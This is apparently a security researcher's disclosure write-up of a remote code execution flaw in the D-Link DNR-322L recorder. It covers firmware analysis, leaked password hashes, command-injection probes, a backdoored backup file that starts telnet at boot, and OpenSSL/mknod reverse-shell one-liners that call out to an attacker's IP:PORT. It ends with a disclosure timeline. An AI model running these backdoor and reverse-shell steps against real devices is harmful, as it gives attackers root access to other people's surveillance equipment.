Together with the camera from my D-Link DCS-5222L post, I bought a D-Link DNR-322L. This is a network recorder/NAS for D-Link cameras. During the break I took from pwning the camera, I looked at this device instead and rather quickly found a way to run code.
CVE details can be found here↗ and the advisory from D-Link can be found here↗. For the exploit code check out my repository↗.
Unencrypted Firmware #
Since the firmware was available, I took a look at it first. The firmware was downloaded from here↗. Upon inspection, it looked like the firmware was not encrypted:
[~/dlink]$ binwalk DLINK_DNR-322.2.40b03
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
128 0x80 uImage header, header size: 64 bytes, header CRC: 0x8F82F818, created: 2014-06-10 07:37:08, image size: 2551516 bytes, Data Address: 0x8000, Entry Point: 0x8000, data CRC: 0xE1D3D889, OS: Linux, CPU: ARM, image type: OS Kernel Image,
compression type: none, image name: "Linux-2.6.31.8"
192 0xC0 Linux kernel ARM boot executable zImage (little-endian)
13436 0x347C gzip compressed data, maximum compression, from Unix, last modified: 2014-06-10 07:37:08
2551708 0x26EF9C uImage header, header size: 64 bytes, header CRC: 0x5BBECF3C, created: 2014-06-10 08:29:25, image size: 1584662 bytes, Data Address: 0xE00000, Entry Point: 0xE00000, data CRC: 0x49F05B65, OS: Linux, CPU: ARM, image type: RAMDisk Image, compression type: gzip, image name: "Ramdisk"
2551772 0x26EFDC gzip compressed data, has original file name: "aa", from Unix, last modified: 2014-06-10 08:29:24
4138484 0x3F25F4 CramFS filesystem, little endian, size: 47960064, version 2, sorted_dirs, CRC 0x81CC9040, edition 0, 21230 blocks, 2419 files
52098548 0x31AF5F4 gzip compressed data, from Unix, last modified: 2015-09-29 03:23:39
52107852 0x31B1A4C CramFS filesystem, little endian, size: 6037504, version 2, sorted_dirs, CRC 0x38E89EFD, edition 0, 4219 blocks, 16 files
The first CramFS↗ filesystem contained the main OS:
[~/dlink/extracted/cramfs-root]$ ls -la
total 484
drwxr-xr-x 15 dev dev 4096 Aug 23 22:19 .
drwxrwxr-x 4 dev dev 4096 Aug 23 22:19 ..
drwxr-xr-x 2 dev dev 4096 Aug 23 22:19 bin
drwxr-xr-x 3 dev dev 4096 Aug 23 22:19 cgi
drwxr-xr-x 2 dev dev 4096 Aug 23 22:19 common
drwxr-xr-x 3 dev dev 4096 Aug 23 22:19 default
drwxr-xr-x 2 dev dev 4096 Aug 23 22:19 driver
drwxr-xr-x 2 dev dev 4096 Aug 23 22:19 files
-rw-r--r-- 1 dev dev 434052 Jan 1 1970 JFFS2_config.img
drwxr-xr-x 2 dev dev 4096 Aug 23 22:19 language
drwxr-xr-x 2 dev dev 4096 Aug 23 22:19 lib
drwxr-xr-x 2 dev dev 4096 Aug 23 22:19 mydlink
drwxr-xr-x 3 dev dev 4096 Aug 23 22:19 sbin
drwxr-xr-x 2 dev dev 4096 Aug 23 22:19 script
drwxr-xr-x 6 dev dev 4096 Aug 23 22:19 web
drwxr-xr-x 2 dev dev 4096 Aug 23 22:19 zoneinfo
Using find . -type f -name "*shadow*"
got the hashes under default/shadow
.
[~/dlink/extracted/cramfs-root]$ cat default/shadow
admin:$1$$qRPK7m23GJusamGpoGLby/:0:0:99999:7::: # empty
nobody:pACwI1fCXYNw6:0:0:99999:7::: # empty
squeezecenter:$1$$o7vIitnZu4MHlaR5S90M/1:15460:0:99999:7::: # v4523086
root:$1$$qRPK7m23GJusamGpoGLby/:14746:0:99999:7::: # empty
I got the password for the user squeezecenter
from Zenofex↗.
The second CramFS filesystem was a so-called “device pack”. This is a sort of driver package for cameras. Whenever there would be a new camera, D-Link just had to ship a device pack update instead of a new firmware. This is common practice for surveillance gear and not exclusive to D-Link.
[~/dlink/extracted/cramfs-root-0]$ ls -la
total 16904
drwxr-xr-x 2 dev dev 4096 Aug 23 22:19 .
drwxrwxr-x 4 dev dev 4096 Aug 23 22:28 ..
-rwxr-xr-x 1 dev dev 653936 Jan 1 1970 ACTi.so
-rwxr-xr-x 1 dev dev 785588 Jan 1 1970 Alpha2.so
-rwxr-xr-x 1 dev dev 350964 Jan 1 1970 Alpha.so
-rwxr-xr-x 1 dev dev 515496 Jan 1 1970 Arecont.so
-rwxr-xr-x 1 dev dev 19316 Jan 1 1970 autodect2.js
-rwxr-xr-x 1 dev dev 19316 Jan 1 1970 autodect.js
-rwxr-xr-x 1 dev dev 89 Jan 1 1970 DevicePack.conf
-rwxr-xr-x 1 dev dev 799040 Jan 1 1970 Hunt.so
-rwxr-xr-x 1 dev dev 465528 Jan 1 1970 libcgi_funcs.so
-rwxr-xr-x 1 dev dev 406908 Jan 1 1970 libdpessential.so
-rwxr-xr-x 1 dev dev 389572 Jan 1 1970 libdpinterface.so
-rwxr-xr-x 1 dev dev 21596 Jan 1 1970 libpanashared.so
-rwxr-xr-x 1 dev dev 817920 Jan 1 1970 libRTSPClient.so
-rwxr-xr-x 1 dev dev 11004476 Jan 1 1970 Onvif.so
-rwxr-xr-x 1 dev dev 1023776 Jan 1 1970 Vivotek.so
[~/dlink/extracted/cramfs-root-0]$ cat DevicePack.conf
[Version]
ServerType=DNR-322
DevicePack=2.0.13
DevicePackDate=09/24/2015
ServerVer=2.4.0
Since the device arrived after just a few days, I wanted to play with it first rather than hunt for exploits in the firmware.
Testing for Code Injection #
When testing a device I tend to look at system/admin features first. A common exploit is command injection in various user input fields.
If the device authenticates web credentials based on Linux users of the system, creating a new user via “Maintenance/Users/Add” would execute useradd
. So I tried command injection in the username field:
myuser$(id)
myuser'id
myuser'id'
myuser&id
myuser&&id
myuser|id
myuser||id
myuser;id
myuser";id"
myuserAAAAidAAAAidAAAAid *10,*20,*30...
To test for blind execution I tried:
# sudo nc -lnvp 80
curl http://MYIP
wget http://MYIP
nc MYIP 80
# sudo tcpdump -i ethX icmp
ping -c 1 MYIP
However, I had no luck with that. There were no other obvious user input fields visible to me that could directly be routed to an injectable Linux command.
After playing with the device and testing its functions I came across the “Backup Config” function under “Maintenance/System/Configuration Settings”.
Upon inspecting the downloaded file with file backup
I saw that it was just a gzip compressed tarball (.tar.gz). I simply unpacked it with tar
:
[~/dlink]$ file backup
backup: gzip compressed data, last modified: Thu Aug 25 21:49:25 2022, max compression, from Unix, original size modulo 2^32 1493504
[~/dlink]$ tar -xzf backup
...
[~/dlink/backup]$ cd backup; ls -la
total 48
drwxr-xr-x. 1 me me 226 25. Aug 2022 .
drwxr-xr-x. 1 me me 46 25. Aug 21:52 ..
drwxr-xr-x. 1 me me 16 25. Aug 2022 a
drwxr-xr-x. 1 me me 0 25. Aug 2022 b
-rwxr-xr-x. 1 me me 6411 25. Aug 2022 config.xml
-rw-r--r--. 1 me me 0 25. Aug 2022 DNR-322L
-rwxr-xr-x. 1 me me 32 25. Aug 2022 group
-rwxr-xr-x. 1 me me 74 25. Aug 2022 hosts
drwxr-xr-x. 1 me me 724 25. Aug 2022 nvr
-rwxr-xr-x. 1 me me 314 25. Aug 2022 passwd
-rwxr-xr-x. 1 me me 44 25. Aug 2022 passwd.webdav
drwxr-xr-x. 1 me me 0 25. Aug 2022 quota
-rwxr-xr-x. 1 me me 956 25. Aug 2022 rc.init.sh
-rwxr-xr-x. 1 me me 12 25. Aug 2022 resolv.conf
-rwxr-xr-x. 1 me me 195 25. Aug 2022 shadow
-rw-r--r--. 1 me me 1325 25. Aug 2022 smb.conf
-rw-------. 1 me me 207 25. Aug 2022 smbpasswd
-rwxr-xr-x. 1 me me 285 25. Aug 2022 sms_conf.xml
Inside the extracted folder were some configuration files as well as some system files like the before-used shadow
. But what caught my attention was rc.init.sh
. This looked like a startup script into which I could write OS-level commands that would get executed at boot. To get an initial shell on the device I used the utelnetd
binary that I found inside the firmware under /bin
. I appended utelnetd -d
at the end of the script, making sure not to change the encoding or line endings, and repacked the tar.gz file with tar -czf backup.tar.gz backup
.
Upon uploading it via the same panel on the web interface, the device rebooted and after about 2 min I was back at the web login screen. A quick portscan confirmed that the telnet backdoor worked, and I was able to log in via telnet with the same credentials as on the web interface.
[~/dlink]$ rustscan 192.168.1.10
...
Open 192.168.1.10:23
Open 192.168.1.10:80
Open 192.168.1.10:139
Open 192.168.1.10:443
Open 192.168.1.10:445
Open 192.168.1.10:5150
Open 192.168.1.10:5160
...
[~/dlink]$ telnet 192.168.1.10
Trying 192.168.1.10...
Connected to 192.168.1.10.
Escape character is '^]'.
Password of admin:
BusyBox v1.11.2 (2012-07-09 19:28:56 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# id
uid=0(root) gid=0(root)
#
Revshell with OpenSSL #
Via the telnet shell, I enumerated the device for possible reverse shell options. The easy route here would be to host a pre-compiled ARM *cat
binary, download it, and execute it. But in true LOL↗ fashion I wanted to do it without external tools.
The only binary I found was OpenSSL↗. The basic OpenSSL reverse shell needs an attacker to generate a key with a certificate and then set up a listener: On the target, we simply connect to this listener with the following command:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect IP:PORT > /tmp/s; rm /tmp/s
First In First Out #
There is one key element inside this command and that would be mkfifo /tmp/s
. The command mkfifo
created a so-called named pipe file. A very simple explanation would be that such a file is used for process-to-process communication. If you know what Unix sockets are, sort of that direction. I’m nowere near an expert to explain this in more detail but just know if you would create the file with touch
or any text editor, the reverse shell will connect but you will not be able to execute commands.
The reason I had to explain this was, that there was no mkfifo
command on my rather limited D-Link device. And I did all of the above to figure out that you especially need a named pipe file. I created it with touch
, some text editor, and even tried to download a file that I created on another Linux machine. None of that worked. Upon reading into named pipes I quickly realized that I needed such a file rather than a “normal” one.
Knowing that, I quickly found the alternative mknod
which was actually included in my busybox binary. The command for connecting to the listener was
rm -f /tmp/s; mknod /tmp/s p; cat /tmp/s | /bin/ash -i 2>&1 | openssl s_client -quiet -connect IP:PORT >/tmp/s
Please Continue #
This worked and gave me a functioning reverse shell. But I noticed that the session on the shell would not “continue”, as it would wait at the command from above. This was rather bad since this command will go into a startup script and the camera needs to boot normally even with the reverse shell code injected. I tried moving it in the background with &
at the end but that did not work with my ash
shell. A few searches and commands later I found this↗ stackoverflow answer which led to the following working command:
#!/bin/ash
(
(
rm -f /tmp/lol
mknod /tmp/lol p
cat /tmp/lol |
/bin/ash -i 2>&1 |
openssl s_client -quiet -connect IP:PORT >/tmp/lol &
) &
)
(( rm -f /tmp/lol; mknod /tmp/lol p; cat /tmp/lol | /bin/ash -i 2>&1 | openssl s_client -quiet -connect IP:PORT >/tmp/lol & ) & )
Exploit Script #
Authentication Flow #
The simplified authentication flow for the device is as follows:
POST /cgi-bin/login_mgr.cgi
cmd=login&username=<USER>&pwd=<PASSWD BASE64URLSAFE>
POST /cgi-bin/login_mgr.cgi
Cookies: {"Username":<USERNAME>, "PASSWORD":<PASSWD> }
cmd=ui_check_wto
After viewing this flow inside Burp↗ I thought that I could just use the plaintext credentials inside cookies to interact with the device. But this would always result in a 301 to “/”. The only reason I ran into this problem was simply that I used two devices. The Windows PC which ran Burp had a different IP than the Linux VM. After a bit of trial and error, I figured out that you need to execute those two commands for your IP to get whitelisted. Hitting the endpoint on a different device will log you in on the device but will not allow you to interact with the device from your current IP even if there is no other session ID or cookie involved in the request. Quick insert: This behavior changed with a later firmware, more at the end.
Handling tar Files #
I’ve never worked with tar.gz files inside Python before and could not find good examples when it came to building one. The device was very picky when it came to the folder name but not when it came to the archive name. The whole process was very time-consuming since every “corrupted” backup would result in a soft-bricked device that needed to be factory reset via a pin, then set up with users and the IP again from scratch.
The other problem that I had was with uploading the tar.gz file via a POST request. I could not find any example online for uploading data, just for downloading it. My first attempts always used tarfile.open()
for reading the malicious backup file. This always resulted in somewhat decoded data to be sent via the request which did not at all look like the upload of the same file inside Burp. After a bit of trying it turns out that a normal open()
is enough. But I also needed three tries to get the encoding of latin-1
right.
But after getting the encoding right and adding the 10s sleep at the beginning of the reverse shell, the exploit script worked like a charm.
A Wild Version Appears #
My heart probably skipped a few beats when I got the first response from D-Link after reporting this vulnerability. The contact responded with a direct link to a newer firmware than I had installed. The link he sent me was from the official download site that is listed on the product page. The reason I missed that at the beginning is the “404 Not Found” error when accessing the site↗. I just assumed they forgot to update the link and moved on. It turns out that my good browser forced HTTPS traffic and the directory listing only works with HTTP while file downloads work with HTTPS.
At this point, I just hoped that the vulnerability would still exist in 2.60B13 and 2.60B15. The Python script I made gave a login error the first time I ran it against the new firmware. After quickly reviewing the traffic inside Burp I found that they now implemented a SESSIONID cookie rather than just relying on the plain text username + password. (The password is still plain text inside the cookies) The quick fix for this was to switch from single requests to sessions↗. Such a session stores all the cookies inside an object for ease of use. After that, the script ran fine again.
There is one known bug with those newer versions, however. When the device enters its sleep mode only the first write to disk wakes it up again. This process takes longer than the file upload of the backdoored firmware. If you run the python script with the device in sleep mode the script will time out and fail during the upload. To fix this just run the script a second time. I did not have enough motivation to look into a way of waking it up otherwise. This did never occur to me on the older firmware revisions.
shodan.io #
There are just a handful of devices visible via Shodan↗. They could also be revision B models (same Header) which have a newer firmware and thus could not be vulnerable.
Timeline #
The dates are taken from my timezone (Europe/Zurich)
15.08.2022
- 1st contact via the official form↗
24.08.2022
- 2nd contact via the official form↗ (time limit 25.09.2022)
12.09.2022
- 3rd contact via mail to security at dlink.com
- D-Link replied within 6h, and requested more details
13.09.2022
- I provided more details + PoC script
- D-Link replied and thanked me for the submission
- I replied with questions regarding my further actions
- D-Link replied and confirmed my further actions
- I requested a CVE at MITRE↗
18.09.2022
- I asked MITRE for an update
21.09.2022
- I asked MITRE for an update
27.09.2022
- MITRE reserved CVE-2022-40799
- I published the repository and this blogpost
- I informed D-Link of the CVEID